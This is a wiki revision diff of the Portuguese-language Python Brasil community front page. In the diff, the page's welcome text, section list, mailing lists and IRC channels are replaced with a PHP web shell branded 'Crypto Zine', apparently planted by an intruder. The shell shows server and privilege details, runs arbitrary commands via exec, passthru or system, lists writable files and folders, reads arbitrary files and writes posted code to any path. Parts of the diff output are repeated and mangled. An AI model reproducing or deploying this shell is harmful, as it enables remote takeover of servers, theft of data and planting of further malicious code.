3912
Comentário:
|
4935
|
Deleções são marcadas assim. | Adições são marcadas assim. |
Linha 1: | Linha 1: |
#pragma section-numbers off = Python Brasil = Este site, foi idealizado para abrigar todo o material sobre [http://python.org Python] editado em nosso idioma (Português). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva material rapidamente. = Ano Novo e Caixa de Sugestões = Pessoal, eu gostaria de criar em 2004 uma espécie de "Projeto Python Brasil". Nesse projeto eu quero mobilizar a comunidade Python Brasileira (do PythonBrasil e de outros sites, fórums e grupos de usuários) para organizar um "Encontro de Usuário Python", um "Clube de Usuários Python" e outras coisas que o pessoal aqui sugerir. Além disso eu gostaria de idéias interessantes para a gente colocar aqui no site. Para isso eu criei uma CaixaDeSugestões onde vocês podem dar idéias para os 2 projetos acimas e sugerir outros projetos também. = Destaque da Semana = CaixaDeSugestões - Vamos lá pessoal, quero ver aquela idéia genial que você teve para promover a linguagem Python! :) (o RudaMoura recomendou também uma olhadinha na página do RodrigoCesarHerefeld no comentário sobre as dificuldades que ele encontrou com Java no desenvolvimento do software dele). === Python em Destaque === Pode ser observado no endereço http://brlinux.linuxsecurity.com.br/noticias/001434.html os resultados de algumas votações em relação ao software livre. Dentre tantas linguagens, o Python foi bem lembrado, como podem conferir no link anterior. = Seções = Aqui estão algumas das seções desse site. Se você gostaria de sugerir outras é só entrar em contato com o WikiMaster mais próximo. * PerguntasFrequentes - Perguntas e Respostas frequentes. * NotíciasPython - Notícias sobre Python. * DocumentaçãoPython - Documentação, Livros, Manuais, Tutoriais e afins. * ArtigosTutoriais - Artigos e Tutoriais sobre Python. * CookBook - Trechos de códigos úteis. * ComoUsarWiki - Como usar esse site. Introdução Rápida. * SoftwarePython - Módulos, Editores e Ferramentas para desenvolvimento Python, bem como projetos desenvolvidos por brasileiros. * EmpresasPython - Empresas Brasileiras que já usam Python para aumentar seus lucros :) * OutrosGruposUsuários - Outros sites de grupos de usuários Python. * OportunidadesDeEmprego - Vamos fazer a nossa parte no 'espetáculo do crescimento'. Empregue-se e ofereça empregos. Alguns recadinhos profissionais também estão aqui. * DiscussõesAleatórias - Se você não sabe em que página contribuir, use esta. {NEW} * LivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura). = Como Participar = Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC. === Lista de Discussão === Existem duas listas: a python-br@yahoogroups.com que é a mais povoada e com mais movimento e a python-brasil@yahoogrupos.com.br, que foi criada depois, porque a senha de administração da python-br foi perdida, ocasionando alguns SPAMs eventuais na lista. Na dúvida, se cadastre nas duas. E observe que a python-br fica no yahoogroups.com (americano) e o python-brasil fica no yahoogrupos.com.br (brasileiro). Para se cadastrar na python-br, envie email (com qualquer conteúdo/assunto) para python-br-subscribe@yahoogroups.com. Para a python-brasil, o endereço é python-brasil-subscribe@yahoogrupos.com.br. === Canais de IRC === O canal oficial do Python no Brasil é o #python-br do irc.freenode.org mas também tem uma galerinha esperta que frequenta o #python da irc.brasnet.org. = Observações = Esse site é um Wiki e está aberto para a participação de todos. Sejam responsáveis e organizados que ele continuará sempre aberto para todos. |
<center> <?php closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); ?> <?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <TR> <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> </TR> <?php } ?> <center> <TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> </TABLE> <BR> <?php if ($cmd != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; } if (isset($chdir)) @chdir($chdir); ob_start( ); $fe("$cmd 2>&1"); $output = ob_get_contents(); ob_end_clean( ); ?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> </TEXTAREA> <BR> <?php } if ($listar != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; ?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php if ($dir = @opendir($chdir)) { echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) { if (@is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( ); } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TR>"; echo "</TABLE>"; } } ?> <html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html> <?php $codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w"); $ok = fwrite($fp, $codigo); if ($oia != "") { $fp = fopen($oia, "r"); $read = fread($fp, 30000); echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>"; } ?> |
<center> <?php
- closelog( ); $dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( );
?>
<?php
- $uname = posix_uname( ); while (list($info, $value) = each ($uname)) {
?>
<TR>
<TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD>
</TR>
<?php
- }
?> <center>
<TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid
?>)</DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD>
</TR> <TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME);
echo $aaa;?></DIV></TD>
</TR>
<TR>
<TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
</TR>
</TABLE> <BR> <?php
- if ($cmd != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
?>
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php
if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; }
- if (isset($chdir)) @chdir($chdir); ob_start( );
$fe("$cmd 2>&1"); $output = ob_get_contents();
?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?> </TEXTAREA> <BR> <?php
- } if ($listar != "") {
echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>";
?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php
- if ($dir = @opendir($chdir)) {
echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) {
- if (@is_file($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( );
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
- if (@is_dir($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
- if (@is_dir($file)) {
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_dir($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) {
- while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "<font color=red>$file1 - $file2 - $file </font><br>";
- $file1 = fileowner($file); $file2 = fileperms($file);
echo "</TD>"; echo "</TR>"; echo "</TABLE>";
- if (@is_file($file)) {
- }
?>
<html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html>
<?php
$codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w");
- $ok = fwrite($fp, $codigo);
if ($oia != "") {
- $fp = fopen($oia, "r"); $read = fread($fp, 30000);
echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>";
} ?>